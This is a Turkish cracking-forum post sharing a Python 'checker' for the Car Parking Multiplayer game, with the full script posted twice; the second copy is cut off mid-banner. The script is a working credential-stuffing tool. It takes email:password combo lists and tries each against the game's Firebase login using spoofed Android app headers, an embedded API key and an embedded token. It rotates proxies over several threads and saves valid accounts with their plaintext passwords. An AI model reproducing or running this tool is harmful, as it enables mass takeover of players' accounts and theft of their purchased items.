xentr_theme_editor

CarParking Checker

TurkCrack.net

New member
Admin
Üyelik Tarihi
13 Tem 2026
Mesajlar
14
Beğeniler
3
Puanlar
3
1/3
xentr_thread_starter
CarParking Checker
Bana Ait Değildir
İş Yapar
Pythonda Yazılmıştır


Python:
import sys
import io

# Windows CMD Unicode düzeltmesi
if sys.platform == "win32":
    try:
        sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding="utf-8", errors="replace")
        sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding="utf-8", errors="replace")
    except Exception:
        pass

import requests
import json
import time
import os
import concurrent.futures
from threading import Lock
from typing import Optional, Dict, List, Tuple
from dataclasses import dataclass, field

try:
    from colorama import init, Fore, Style
    init(autoreset=True)
except ImportError:
    print("[!] colorama modülü bulunamadı. Yükleniyor...")
    os.system("pip install colorama")
    from colorama import init, Fore, Style
    init(autoreset=True)

# ═══════════════════════════════════════════════════════════════
#  Firebase & API Sabitleri
# ═══════════════════════════════════════════════════════════════
FIREBASE_API_KEY = "AIzaSyBW1ZbMiUeDZHYUO2bY8Bfnf5rRgrQGPTM"
FIREBASE_LOGIN_URL = f"https://www.googleapis.com/identitytoolkit/v3/relyingparty/verifyPassword?key={FIREBASE_API_KEY}"
CAR_STATUS_URL = "https://us-central1-cp-multiplayer.cloudfunctions.net/GetCarIDnStatus"

FIREBASE_HEADERS = {
    "Accept-Encoding": "gzip",
    "Accept-Language": "tr-TR, en-US",
    "Connection": "Keep-Alive",
    "Content-Type": "application/json",
    "Host": "www.googleapis.com",
    "User-Agent": "Dalvik/2.1.0 (Linux; U; Android 7.1.2; SM-N976N Build/N2G48H)",
    "X-Android-Cert": "D4962F8124C2E09A66B97C8E326AFF805489FE39",
    "X-Android-Package": "com.olzhas.carparking.multyplayer",
    "X-Client-Version": "Android/Fallback/X23000000/FirebaseCore-Android",
    "X-Firebase-Client": "H4sIAAAAAAAAAKtWykhNLCpJSk0sKVayio7VUSpLLSrOzM9TslIyUqoFAFyivEQfAAAA",
    "X-Firebase-GMPID": "1:581727203278:android:af6b7dee042c8df539459f"
}

CAR_STATUS_HEADERS = {
    "Accept-Encoding": "gzip",
    "Connection": "Keep-Alive",
    "Content-Type": "application/json; charset=utf-8",
    "Firebase-Instance-ID-Token": "c5FlQCJESYa51lDShwSQI8:APA91bG0L07aLmyEQqABJY_1vZ4cGLdvVw1SJ_doUCk0QvnDuhOfheEFK94q3bBV6cA-WrxdItB4pxHmkFIJxUWjU8P8TlyY8nwQ-k_8y5Jtyi1VMmSjXzC5yEnnxIfHt5c5WeGKrFW_",
    "Host": "us-central1-cp-multiplayer.cloudfunctions.net",
    "User-Agent": "okhttp/3.12.13"
}


# ═══════════════════════════════════════════════════════════════
#  Veri Modeli
# ═══════════════════════════════════════════════════════════════
@dataclass
class AccountResult:
    email: str
    password: str
    success: bool
    local_id: Optional[str] = None
    id_token: Optional[str] = None
    cars: Optional[str] = None
    car_count: int = 0
    error: Optional[str] = None


# ═══════════════════════════════════════════════════════════════
#  Checker Ana Sınıfı
# ═══════════════════════════════════════════════════════════════
class CarParkingChecker:
    def __init__(self, proxy: Optional[str] = None):
        self.session = requests.Session()
        self.proxy = proxy

        if proxy:
            self.session.proxies = {
                "http": proxy,
                "https": proxy
            }

    def login(self, email: str, password: str) -> Tuple[bool, Optional[Dict]]:
        """Firebase Auth ile giriş yap"""
        try:
            payload = {
                "email": email,
                "password": password,
                "returnSecureToken": True,
                "clientType": "CLIENT_TYPE_ANDROID"
            }

            response = self.session.post(
                FIREBASE_LOGIN_URL,
                json=payload,
                headers=FIREBASE_HEADERS,
                timeout=30
            )

            data = response.json()

            # Başarısız durumlar
            if response.status_code != 200:
                error = data.get("error", {})
                error_message = error.get("message", "Bilinmeyen hata")

                error_map = {
                    "EMAIL_NOT_FOUND": "Email bulunamadı",
                    "INVALID_PASSWORD": "Şifre yanlış",
                    "INVALID_EMAIL": "Geçersiz email",
                    "USER_DISABLED": "Hesap devre dışı",
                    "TOO_MANY_ATTEMPTS_TRY_LATER": "Çok fazla deneme, daha sonra tekrar deneyin"
                }

                friendly_msg = error_map.get(error_message, error_message)
                return False, {"error": friendly_msg}

            # Başarılı giriş
            if "idToken" in data and "localId" in data:
                return True, data

            return False, {"error": "Beklenmeyen yanıt"}

        except requests.exceptions.ProxyError:
            return False, {"error": "Proxy bağlantı hatası"}
        except requests.exceptions.Timeout:
            return False, {"error": "Bağlantı zaman aşımı"}
        except requests.exceptions.ConnectionError:
            return False, {"error": "Bağlantı hatası"}
        except requests.RequestException as e:
            return False, {"error": f"İstek hatası: {str(e)}"}
        except json.JSONDecodeError:
            return False, {"error": "JSON parse hatası"}

    def get_car_status(self, id_token: str) -> Optional[str]:
        """Hesaptaki arabaların durumunu al"""
        try:
            headers = CAR_STATUS_HEADERS.copy()
            headers["Authorization"] = f"Bearer {id_token}"

            payload = {"data": None}

            response = self.session.post(
                CAR_STATUS_URL,
                json=payload,
                headers=headers,
                timeout=30
            )

            if response.status_code != 200:
                return None

            data = response.json()
            result_data = data.get("result", "")

            # carStatus alanını parse et
            if isinstance(result_data, str):
                try:
                    inner = json.loads(result_data)
                    car_status = inner.get("carStatus", [])
                except json.JSONDecodeError:
                    car_status = []
            elif isinstance(result_data, dict):
                car_status = result_data.get("carStatus", [])
            else:
                car_status = []

            if not car_status:
                return "Araba bilgisi alınamadı"

            # 0 = kilitli (❌), 1 = açık (✅)
            car_icons = []
            for status in car_status:
                if status == 1:
                    car_icons.append("✅")
                else:
                    car_icons.append("❌")

            return "".join(car_icons)

        except Exception:
            return None

    def check_account(self, email: str, password: str, verbose: bool = True) -> AccountResult:
        """Tek bir hesabı kontrol et"""
        if verbose:
            print(f"\n{Fore.CYAN}{'═' * 60}")
            print(f"{Fore.CYAN}  🔍  Kontrol ediliyor: {Fore.WHITE}{email}")
            print(f"{Fore.CYAN}{'═' * 60}")

        # Firebase login
        success, data = self.login(email, password)

        if not success:
            error_msg = data.get("error", "Bilinmeyen hata") if data else "Yanıt alınamadı"
            if verbose:
                print(f"{Fore.RED}  ✗  Login başarısız: {error_msg}")
            return AccountResult(
                email=email,
                password=password,
                success=False,
                error=error_msg
            )

        id_token = data.get("idToken", "")
        local_id = data.get("localId", "")

        if verbose:
            print(f"{Fore.GREEN}  ✓  Login başarılı!")
            print(f"{Fore.GREEN}  🆔 Local ID: {Fore.WHITE}{local_id}")

        # Araba durumunu al
        if verbose:
            print(f"{Fore.YELLOW}  🚗 Araba bilgileri alınıyor...")

        cars = self.get_car_status(id_token)

        car_count = 0
        if cars:
            car_count = cars.count("✅")
            if verbose:
                print(f"{Fore.GREEN}  🚗 Arabalar: {cars}")
                print(f"{Fore.GREEN}  📊 Açık araba sayısı: {Fore.WHITE}{car_count}")

        return AccountResult(
            email=email,
            password=password,
            success=True,
            local_id=local_id,
            id_token=id_token,
            cars=cars,
            car_count=car_count
        )


# ═══════════════════════════════════════════════════════════════
#  Dosya Yönetimi
# ═══════════════════════════════════════════════════════════════
class FileManager:
    @staticmethod
    def load_accounts(filename: str) -> List[Tuple[str, str]]:
        """email:password formatında hesapları yükle"""
        accounts = []
        try:
            with open(filename, "r", encoding="utf-8") as f:
                for line_num, line in enumerate(f, 1):
                    line = line.strip()
                    if line and not line.startswith("#"):
                        if ":" in line:
                            parts = line.split(":", 1)
                            email = parts[0].strip()
                            password = parts[1].strip()
                            if email and password:
                                accounts.append((email, password))
                            else:
                                print(f"{Fore.YELLOW}  ⚠  Satır {line_num}: Geçersiz format, atlanıyor")
                        else:
                            print(f"{Fore.YELLOW}  ⚠  Satır {line_num}: ':' ayracı bulunamadı, atlanıyor")
        except FileNotFoundError:
            print(f"{Fore.RED}  ✗  Dosya bulunamadı: {filename}")
        except Exception as e:
            print(f"{Fore.RED}  ✗  Dosya okuma hatası: {str(e)}")
        return accounts

    @staticmethod
    def load_proxies(filename: str) -> List[str]:
        """Proxy listesi yükle"""
        proxies = []
        try:
            with open(filename, "r", encoding="utf-8") as f:
                for line in f:
                    line = line.strip()
                    if line and not line.startswith("#"):
                        proxies.append(line)
        except FileNotFoundError:
            print(f"{Fore.YELLOW}  ⚠  Proxy dosyası bulunamadı: {filename}")
        except Exception as e:
            print(f"{Fore.RED}  ✗  Proxy dosya hatası: {str(e)}")
        return proxies

    @staticmethod
    def save_hit(result: AccountResult, filename: str):
        """Başarılı sonucu dosyaya kaydet"""
        timestamp = time.strftime("%Y-%m-%d %H:%M:%S")
        with open(filename, "a", encoding="utf-8") as f:
            f.write(f"\n{'═' * 55}\n")
            f.write(f"  Tarih     : {timestamp}\n")
            f.write(f"  Email     : {result.email}\n")
            f.write(f"  Password  : {result.password}\n")
            f.write(f"  Local ID  : {result.local_id or 'N/A'}\n")
            f.write(f"  Arabalar  : {result.cars or 'N/A'}\n")
            f.write(f"  Açık Araba: {result.car_count}\n")
            f.write(f"  Config By : CanOBX5\n")
            f.write(f"{'═' * 55}\n")

    @staticmethod
    def save_fail(result: AccountResult, filename: str):
        """Başarısız sonucu dosyaya kaydet"""
        with open(filename, "a", encoding="utf-8") as f:
            f.write(f"{result.email}:{result.password} | {result.error or 'N/A'}\n")


# ═══════════════════════════════════════════════════════════════
#  Banner & Arayüz
# ═══════════════════════════════════════════════════════════════
def print_banner():
    banner = f"""
{Fore.MAGENTA}
   ██████╗ █████╗ ██████╗     ██████╗  █████╗ ██████╗ ██╗  ██╗██╗███╗   ██╗ ██████╗
  ██╔════╝██╔══██╗██╔══██╗    ██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝██║████╗  ██║██╔════╝
  ██║     ███████║██████╔╝    ██████╔╝███████║██████╔╝█████╔╝ ██║██╔██╗ ██║██║  ███╗
  ██║     ██╔══██║██╔══██╗    ██╔═══╝ ██╔══██║██╔══██╗██╔═██╗ ██║██║╚██╗██║██║   ██║
  ╚██████╗██║  ██║██║  ██║    ██║     ██║  ██║██║  ██║██║  ██╗██║██║ ╚████║╚██████╔╝
   ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝    ╚═╝     ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝ ╚═════╝
{Fore.CYAN}
  ╔═══════════════════════════════════════════════════════════════════════════════╗
  ║{Fore.YELLOW}   🚗  Car Parking Multiplayer Checker  🚗                                  {Fore.CYAN}║
  ║{Fore.GREEN}   📌  Version: 1.0.0                                                      {Fore.CYAN}║
  ║{Fore.GREEN}   📌  Firebase Auth + Car Status API                                      {Fore.CYAN}║
  ║{Fore.MAGENTA}   📌  Config By: CanOBX5                                                   {Fore.CYAN}║
  ╚═══════════════════════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
"""
    print(banner)


def print_stats(success: int, fail: int, total: int):
    """İstatistik kutusu yazdır"""
    print(f"\n{Fore.CYAN}  ╔═══════════════════════════════════════╗")
    print(f"{Fore.CYAN}  ║{Fore.YELLOW}         📊  SONUÇLAR  📊              {Fore.CYAN}║")
    print(f"{Fore.CYAN}  ╠═══════════════════════════════════════╣")
    print(f"{Fore.CYAN}  ║{Fore.GREEN}   ✅ Hit      : {success:<20}{Fore.CYAN}║")
    print(f"{Fore.CYAN}  ║{Fore.RED}   ❌ Fail     : {fail:<20}{Fore.CYAN}║")
    print(f"{Fore.CYAN}  ║{Fore.YELLOW}   📊 Toplam   : {total:<20}{Fore.CYAN}║")
    print(f"{Fore.CYAN}  ╚═══════════════════════════════════════╝{Style.RESET_ALL}")


# ═══════════════════════════════════════════════════════════════
#  Tekli Kontrol Modu
# ═══════════════════════════════════════════════════════════════
def single_check_mode():
    print(f"\n{Fore.YELLOW}{'═' * 60}")
    print(f"{Fore.YELLOW}           🔑  TEKLİ HESAP KONTROL MODU")
    print(f"{Fore.YELLOW}{'═' * 60}\n")

    # Email
    while True:
        email = input(f"{Fore.CYAN}  📧 Email: {Style.RESET_ALL}").strip()
        if email:
            break
        print(f"{Fore.RED}  ✗  Email boş olamaz!")

    # Şifre
    while True:
        password = input(f"{Fore.CYAN}  🔒 Şifre: {Style.RESET_ALL}").strip()
        if password:
            break
        print(f"{Fore.RED}  ✗  Şifre boş olamaz!")

    # Proxy
    use_proxy = input(f"{Fore.CYAN}  🌐 Proxy kullanmak ister misiniz? (e/h): {Style.RESET_ALL}").strip().lower()
    proxy = None
    if use_proxy == "e":
        proxy = input(f"{Fore.CYAN}  🌐 Proxy (http://ip:port): {Style.RESET_ALL}").strip()
        if not proxy:
            print(f"{Fore.YELLOW}  ⚠  Proxy girilmedi, proxy'siz devam ediliyor.")
            proxy = None

    # Sonuç dosyası
    save = input(f"{Fore.CYAN}  💾 Sonuçları kaydet? (e/h): {Style.RESET_ALL}").strip().lower()
    result_file = None
    if save == "e":
        result_file = input(f"{Fore.CYAN}  💾 Dosya adı [hits.txt]: {Style.RESET_ALL}").strip()
        if not result_file:
            result_file = "hits.txt"

    print(f"\n{Fore.YELLOW}  ⏳ Kontrol başlatılıyor...\n")

    checker = CarParkingChecker(proxy=proxy)
    result = checker.check_account(email, password, verbose=True)

    # Sonuç kutusu
    print(f"\n{Fore.CYAN}{'═' * 60}")
    print(f"{Fore.CYAN}              📋  KONTROL SONUCU")
    print(f"{Fore.CYAN}{'═' * 60}")

    if result.success:
        print(f"{Fore.GREEN}  ✅ BAŞARILI GİRİŞ")
        print(f"{Fore.GREEN}  📧 Email    : {result.email}")
        print(f"{Fore.GREEN}  🔒 Şifre    : {result.password}")
        print(f"{Fore.GREEN}  🆔 Local ID : {result.local_id or 'N/A'}")
        print(f"{Fore.GREEN}  🚗 Arabalar : {result.cars or 'N/A'}")
        print(f"{Fore.GREEN}  📊 Açık     : {result.car_count}")
    else:
        print(f"{Fore.RED}  ❌ BAŞARISIZ GİRİŞ")
        print(f"{Fore.RED}  📧 Email    : {result.email}")
        print(f"{Fore.RED}  ❗ Hata     : {result.error or 'N/A'}")

    print(f"{Fore.CYAN}{'═' * 60}")
    print(f"{Fore.MAGENTA}  Config By: CanOBX5")

    if result_file:
        if result.success:
            FileManager.save_hit(result, result_file)
        else:
            FileManager.save_fail(result, result_file)
        print(f"{Fore.GREEN}  💾 Sonuç kaydedildi: {result_file}")


# ═══════════════════════════════════════════════════════════════
#  Toplu Kontrol Modu
# ═══════════════════════════════════════════════════════════════
def bulk_check_mode():
    print(f"\n{Fore.YELLOW}{'═' * 60}")
    print(f"{Fore.YELLOW}           📁  TOPLU HESAP KONTROL MODU")
    print(f"{Fore.YELLOW}{'═' * 60}\n")

    # Hesap dosyası
    while True:
        accounts_file = input(f"{Fore.CYAN}  📄 Hesap dosyası yolu [accounts.txt]: {Style.RESET_ALL}").strip()
        if not accounts_file:
            accounts_file = "accounts.txt"
        if os.path.exists(accounts_file):
            break
        print(f"{Fore.RED}  ✗  Dosya bulunamadı: {accounts_file}")
        retry = input(f"{Fore.YELLOW}  Tekrar denemek ister misiniz? (e/h): {Style.RESET_ALL}").strip().lower()
        if retry != "e":
            return

    # Proxy
    use_proxy = input(f"{Fore.CYAN}  🌐 Proxy kullanmak ister misiniz? (e/h): {Style.RESET_ALL}").strip().lower()
    proxies = []
    if use_proxy == "e":
        proxies_file = input(f"{Fore.CYAN}  🌐 Proxy dosyası yolu [proxies.txt]: {Style.RESET_ALL}").strip()
        if not proxies_file:
            proxies_file = "proxies.txt"
        proxies = FileManager.load_proxies(proxies_file)

    # Sonuç dosyaları
    hits_file = input(f"{Fore.CYAN}  💾 Hit dosyası [hits.txt]: {Style.RESET_ALL}").strip()
    if not hits_file:
        hits_file = "hits.txt"

    fails_file = input(f"{Fore.CYAN}  💾 Fail dosyası [fails.txt]: {Style.RESET_ALL}").strip()
    if not fails_file:
        fails_file = "fails.txt"

    # Thread sayısı
    while True:
        try:
            thread_input = input(f"{Fore.CYAN}  ⚡ Thread sayısı (1-10) [3]: {Style.RESET_ALL}").strip()
            if not thread_input:
                thread_count = 3
            else:
                thread_count = int(thread_input)
            if 1 <= thread_count <= 10:
                break
            print(f"{Fore.RED}  ✗  1-10 arası bir değer girin!")
        except ValueError:
            print(f"{Fore.RED}  ✗  Geçerli bir sayı girin!")

    # Gecikme
    while True:
        try:
            delay_input = input(f"{Fore.CYAN}  ⏱  İstekler arası bekleme (saniye) [1]: {Style.RESET_ALL}").strip()
            if not delay_input:
                delay = 1.0
            else:
                delay = float(delay_input)
            if delay >= 0:
                break
            print(f"{Fore.RED}  ✗  0 veya daha büyük bir değer girin!")
        except ValueError:
            print(f"{Fore.RED}  ✗  Geçerli bir sayı girin!")

    # Hesapları yükle
    accounts = FileManager.load_accounts(accounts_file)
    if not accounts:
        print(f"{Fore.RED}  ✗  Kontrol edilecek hesap bulunamadı!")
        return

    print(f"\n{Fore.GREEN}  📋 Toplam {len(accounts)} hesap yüklendi")
    print(f"{Fore.GREEN}  🌐 Toplam {len(proxies)} proxy yüklendi")
    print(f"{Fore.YELLOW}  ⚡ {thread_count} thread ile başlatılıyor...\n")

    time.sleep(1)

    # Sayaçlar (thread-safe)
    lock = Lock()
    stats = {"success": 0, "fail": 0, "processed": 0}

    def process_account(account_data):
        email, password = account_data

        # Proxy seç (round-robin)
        proxy = None
        if proxies:
            proxy = proxies[hash(email) % len(proxies)]

        checker = CarParkingChecker(proxy=proxy)
        result = checker.check_account(email, password, verbose=False)

        # Bekleme
        if delay > 0:
            time.sleep(delay)

        with lock:
            stats["processed"] += 1
            progress = f"[{stats['processed']}/{len(accounts)}]"

            if result.success:
                stats["success"] += 1
                FileManager.save_hit(result, hits_file)
                print(f"{Fore.GREEN}  {progress} ✅ {email} | Arabalar: {result.cars or 'N/A'} | Açık: {result.car_count}")
            else:
                stats["fail"] += 1
                FileManager.save_fail(result, fails_file)
                print(f"{Fore.RED}  {progress} ❌ {email} | {result.error or 'N/A'}")

        return result

    # Thread pool
    with concurrent.futures.ThreadPoolExecutor(max_workers=thread_count) as executor:
        futures = [executor.submit(process_account, acc) for acc in accounts]
        concurrent.futures.wait(futures)

    # Sonuç istatistikleri
    print_stats(stats["success"], stats["fail"], len(accounts))
    print(f"{Fore.GREEN}  💾 Hit sonuçları  : {hits_file}")
    print(f"{Fore.RED}  💾 Fail sonuçları : {fails_file}")
    print(f"{Fore.MAGENTA}  Config By: CanOBX5\n")


# ═══════════════════════════════════════════════════════════════
#  Ana Menü
# ═══════════════════════════════════════════════════════════════
def main_menu():
    while True:
        print_banner()

        print(f"{Fore.CYAN}  ╔═══════════════════════════════════════╗")
        print(f"{Fore.CYAN}  ║{Fore.YELLOW}           🎮  ANA MENÜ  🎮            {Fore.CYAN}║")
        print(f"{Fore.CYAN}  ╠═══════════════════════════════════════╣")
        print(f"{Fore.CYAN}  ║{Fore.GREEN}   [1] 🔑 Tekli Hesap Kontrolü        {Fore.CYAN}║")
        print(f"{Fore.CYAN}  ║{Fore.GREEN}   [2] 📁 Toplu Hesap Kontrolü        {Fore.CYAN}║")
        print(f"{Fore.CYAN}  ║{Fore.RED}   [3] 🚪 Çıkış                        {Fore.CYAN}║")
        print(f"{Fore.CYAN}  ╚═══════════════════════════════════════╝{Style.RESET_ALL}")

        choice = input(f"\n{Fore.CYAN}  Seçiminiz (1-3): {Style.RESET_ALL}").strip()

        if choice == "1":
            single_check_mode()
            input(f"\n{Fore.YELLOW}  Ana menüye dönmek için ENTER'a basın...{Style.RESET_ALL}")
        elif choice == "2":
            bulk_check_mode()
            input(f"\n{Fore.YELLOW}  Ana menüye dönmek için ENTER'a basın...{Style.RESET_ALL}")
        elif choice == "3":
            print(f"\n{Fore.MAGENTA}  👋 Program kapatılıyor...")
            print(f"{Fore.MAGENTA}  Config By: CanOBX5")
            break
        else:
            print(f"{Fore.RED}  ✗  Geçersiz seçim! 1-3 arası bir değer girin.")
            time.sleep(1)


def main():
    try:
        main_menu()
    except KeyboardInterrupt:
        print(f"\n\n{Fore.YELLOW}  ⚠  Program kullanıcı tarafından durduruldu.")
        print(f"{Fore.MAGENTA}  Config By: CanOBX5")
    except Exception as e:
        print(f"\n{Fore.RED}  ✗  Beklenmeyen hata: {str(e)}")
        import traceback
        traceback.print_exc()


if __name__ == "__main__":
    main()
 
CarParking Checker
Bana Ait Değildir
İş Yapar
Pythonda Yazılmıştır


Python:
import sys
import io

# Windows CMD Unicode düzeltmesi
if sys.platform == "win32":
    try:
        sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding="utf-8", errors="replace")
        sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding="utf-8", errors="replace")
    except Exception:
        pass

import requests
import json
import time
import os
import concurrent.futures
from threading import Lock
from typing import Optional, Dict, List, Tuple
from dataclasses import dataclass, field

try:
    from colorama import init, Fore, Style
    init(autoreset=True)
except ImportError:
    print("[!] colorama modülü bulunamadı. Yükleniyor...")
    os.system("pip install colorama")
    from colorama import init, Fore, Style
    init(autoreset=True)

# ═══════════════════════════════════════════════════════════════
#  Firebase & API Sabitleri
# ═══════════════════════════════════════════════════════════════
FIREBASE_API_KEY = "AIzaSyBW1ZbMiUeDZHYUO2bY8Bfnf5rRgrQGPTM"
FIREBASE_LOGIN_URL = f"https://www.googleapis.com/identitytoolkit/v3/relyingparty/verifyPassword?key={FIREBASE_API_KEY}"
CAR_STATUS_URL = "https://us-central1-cp-multiplayer.cloudfunctions.net/GetCarIDnStatus"

FIREBASE_HEADERS = {
    "Accept-Encoding": "gzip",
    "Accept-Language": "tr-TR, en-US",
    "Connection": "Keep-Alive",
    "Content-Type": "application/json",
    "Host": "www.googleapis.com",
    "User-Agent": "Dalvik/2.1.0 (Linux; U; Android 7.1.2; SM-N976N Build/N2G48H)",
    "X-Android-Cert": "D4962F8124C2E09A66B97C8E326AFF805489FE39",
    "X-Android-Package": "com.olzhas.carparking.multyplayer",
    "X-Client-Version": "Android/Fallback/X23000000/FirebaseCore-Android",
    "X-Firebase-Client": "H4sIAAAAAAAAAKtWykhNLCpJSk0sKVayio7VUSpLLSrOzM9TslIyUqoFAFyivEQfAAAA",
    "X-Firebase-GMPID": "1:581727203278:android:af6b7dee042c8df539459f"
}

CAR_STATUS_HEADERS = {
    "Accept-Encoding": "gzip",
    "Connection": "Keep-Alive",
    "Content-Type": "application/json; charset=utf-8",
    "Firebase-Instance-ID-Token": "c5FlQCJESYa51lDShwSQI8:APA91bG0L07aLmyEQqABJY_1vZ4cGLdvVw1SJ_doUCk0QvnDuhOfheEFK94q3bBV6cA-WrxdItB4pxHmkFIJxUWjU8P8TlyY8nwQ-k_8y5Jtyi1VMmSjXzC5yEnnxIfHt5c5WeGKrFW_",
    "Host": "us-central1-cp-multiplayer.cloudfunctions.net",
    "User-Agent": "okhttp/3.12.13"
}


# ═══════════════════════════════════════════════════════════════
#  Veri Modeli
# ═══════════════════════════════════════════════════════════════
@dataclass
class AccountResult:
    email: str
    password: str
    success: bool
    local_id: Optional[str] = None
    id_token: Optional[str] = None
    cars: Optional[str] = None
    car_count: int = 0
    error: Optional[str] = None


# ═══════════════════════════════════════════════════════════════
#  Checker Ana Sınıfı
# ═══════════════════════════════════════════════════════════════
class CarParkingChecker:
    def __init__(self, proxy: Optional[str] = None):
        self.session = requests.Session()
        self.proxy = proxy

        if proxy:
            self.session.proxies = {
                "http": proxy,
                "https": proxy
            }

    def login(self, email: str, password: str) -> Tuple[bool, Optional[Dict]]:
        """Firebase Auth ile giriş yap"""
        try:
            payload = {
                "email": email,
                "password": password,
                "returnSecureToken": True,
                "clientType": "CLIENT_TYPE_ANDROID"
            }

            response = self.session.post(
                FIREBASE_LOGIN_URL,
                json=payload,
                headers=FIREBASE_HEADERS,
                timeout=30
            )

            data = response.json()

            # Başarısız durumlar
            if response.status_code != 200:
                error = data.get("error", {})
                error_message = error.get("message", "Bilinmeyen hata")

                error_map = {
                    "EMAIL_NOT_FOUND": "Email bulunamadı",
                    "INVALID_PASSWORD": "Şifre yanlış",
                    "INVALID_EMAIL": "Geçersiz email",
                    "USER_DISABLED": "Hesap devre dışı",
                    "TOO_MANY_ATTEMPTS_TRY_LATER": "Çok fazla deneme, daha sonra tekrar deneyin"
                }

                friendly_msg = error_map.get(error_message, error_message)
                return False, {"error": friendly_msg}

            # Başarılı giriş
            if "idToken" in data and "localId" in data:
                return True, data

            return False, {"error": "Beklenmeyen yanıt"}

        except requests.exceptions.ProxyError:
            return False, {"error": "Proxy bağlantı hatası"}
        except requests.exceptions.Timeout:
            return False, {"error": "Bağlantı zaman aşımı"}
        except requests.exceptions.ConnectionError:
            return False, {"error": "Bağlantı hatası"}
        except requests.RequestException as e:
            return False, {"error": f"İstek hatası: {str(e)}"}
        except json.JSONDecodeError:
            return False, {"error": "JSON parse hatası"}

    def get_car_status(self, id_token: str) -> Optional[str]:
        """Hesaptaki arabaların durumunu al"""
        try:
            headers = CAR_STATUS_HEADERS.copy()
            headers["Authorization"] = f"Bearer {id_token}"

            payload = {"data": None}

            response = self.session.post(
                CAR_STATUS_URL,
                json=payload,
                headers=headers,
                timeout=30
            )

            if response.status_code != 200:
                return None

            data = response.json()
            result_data = data.get("result", "")

            # carStatus alanını parse et
            if isinstance(result_data, str):
                try:
                    inner = json.loads(result_data)
                    car_status = inner.get("carStatus", [])
                except json.JSONDecodeError:
                    car_status = []
            elif isinstance(result_data, dict):
                car_status = result_data.get("carStatus", [])
            else:
                car_status = []

            if not car_status:
                return "Araba bilgisi alınamadı"

            # 0 = kilitli (❌), 1 = açık (✅)
            car_icons = []
            for status in car_status:
                if status == 1:
                    car_icons.append("✅")
                else:
                    car_icons.append("❌")

            return "".join(car_icons)

        except Exception:
            return None

    def check_account(self, email: str, password: str, verbose: bool = True) -> AccountResult:
        """Tek bir hesabı kontrol et"""
        if verbose:
            print(f"\n{Fore.CYAN}{'═' * 60}")
            print(f"{Fore.CYAN}  🔍  Kontrol ediliyor: {Fore.WHITE}{email}")
            print(f"{Fore.CYAN}{'═' * 60}")

        # Firebase login
        success, data = self.login(email, password)

        if not success:
            error_msg = data.get("error", "Bilinmeyen hata") if data else "Yanıt alınamadı"
            if verbose:
                print(f"{Fore.RED}  ✗  Login başarısız: {error_msg}")
            return AccountResult(
                email=email,
                password=password,
                success=False,
                error=error_msg
            )

        id_token = data.get("idToken", "")
        local_id = data.get("localId", "")

        if verbose:
            print(f"{Fore.GREEN}  ✓  Login başarılı!")
            print(f"{Fore.GREEN}  🆔 Local ID: {Fore.WHITE}{local_id}")

        # Araba durumunu al
        if verbose:
            print(f"{Fore.YELLOW}  🚗 Araba bilgileri alınıyor...")

        cars = self.get_car_status(id_token)

        car_count = 0
        if cars:
            car_count = cars.count("✅")
            if verbose:
                print(f"{Fore.GREEN}  🚗 Arabalar: {cars}")
                print(f"{Fore.GREEN}  📊 Açık araba sayısı: {Fore.WHITE}{car_count}")

        return AccountResult(
            email=email,
            password=password,
            success=True,
            local_id=local_id,
            id_token=id_token,
            cars=cars,
            car_count=car_count
        )


# ═══════════════════════════════════════════════════════════════
#  Dosya Yönetimi
# ═══════════════════════════════════════════════════════════════
class FileManager:
    @staticmethod
    def load_accounts(filename: str) -> List[Tuple[str, str]]:
        """email:password formatında hesapları yükle"""
        accounts = []
        try:
            with open(filename, "r", encoding="utf-8") as f:
                for line_num, line in enumerate(f, 1):
                    line = line.strip()
                    if line and not line.startswith("#"):
                        if ":" in line:
                            parts = line.split(":", 1)
                            email = parts[0].strip()
                            password = parts[1].strip()
                            if email and password:
                                accounts.append((email, password))
                            else:
                                print(f"{Fore.YELLOW}  ⚠  Satır {line_num}: Geçersiz format, atlanıyor")
                        else:
                            print(f"{Fore.YELLOW}  ⚠  Satır {line_num}: ':' ayracı bulunamadı, atlanıyor")
        except FileNotFoundError:
            print(f"{Fore.RED}  ✗  Dosya bulunamadı: {filename}")
        except Exception as e:
            print(f"{Fore.RED}  ✗  Dosya okuma hatası: {str(e)}")
        return accounts

    @staticmethod
    def load_proxies(filename: str) -> List[str]:
        """Proxy listesi yükle"""
        proxies = []
        try:
            with open(filename, "r", encoding="utf-8") as f:
                for line in f:
                    line = line.strip()
                    if line and not line.startswith("#"):
                        proxies.append(line)
        except FileNotFoundError:
            print(f"{Fore.YELLOW}  ⚠  Proxy dosyası bulunamadı: {filename}")
        except Exception as e:
            print(f"{Fore.RED}  ✗  Proxy dosya hatası: {str(e)}")
        return proxies

    @staticmethod
    def save_hit(result: AccountResult, filename: str):
        """Başarılı sonucu dosyaya kaydet"""
        timestamp = time.strftime("%Y-%m-%d %H:%M:%S")
        with open(filename, "a", encoding="utf-8") as f:
            f.write(f"\n{'═' * 55}\n")
            f.write(f"  Tarih     : {timestamp}\n")
            f.write(f"  Email     : {result.email}\n")
            f.write(f"  Password  : {result.password}\n")
            f.write(f"  Local ID  : {result.local_id or 'N/A'}\n")
            f.write(f"  Arabalar  : {result.cars or 'N/A'}\n")
            f.write(f"  Açık Araba: {result.car_count}\n")
            f.write(f"  Config By : CanOBX5\n")
            f.write(f"{'═' * 55}\n")

    @staticmethod
    def save_fail(result: AccountResult, filename: str):
        """Başarısız sonucu dosyaya kaydet"""
        with open(filename, "a", encoding="utf-8") as f:
            f.write(f"{result.email}:{result.password} | {result.error or 'N/A'}\n")


# ═══════════════════════════════════════════════════════════════
#  Banner & Arayüz
# ═══════════════════════════════════════════════════════════════
def print_banner():
    banner = f"""
{Fore.MAGENTA}
   ██████╗ █████╗ ██████╗     ██████╗  █████╗ ██████╗ ██╗  ██╗██╗███╗   ██╗ ██████╗
  ██╔════╝██╔══██╗██╔══██╗    ██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝██║████╗  ██║██╔════╝
  ██║     ███████║██████╔╝    ██████╔╝███████║██████╔╝█████╔╝ ██║██╔██╗ ██║██║  ███╗
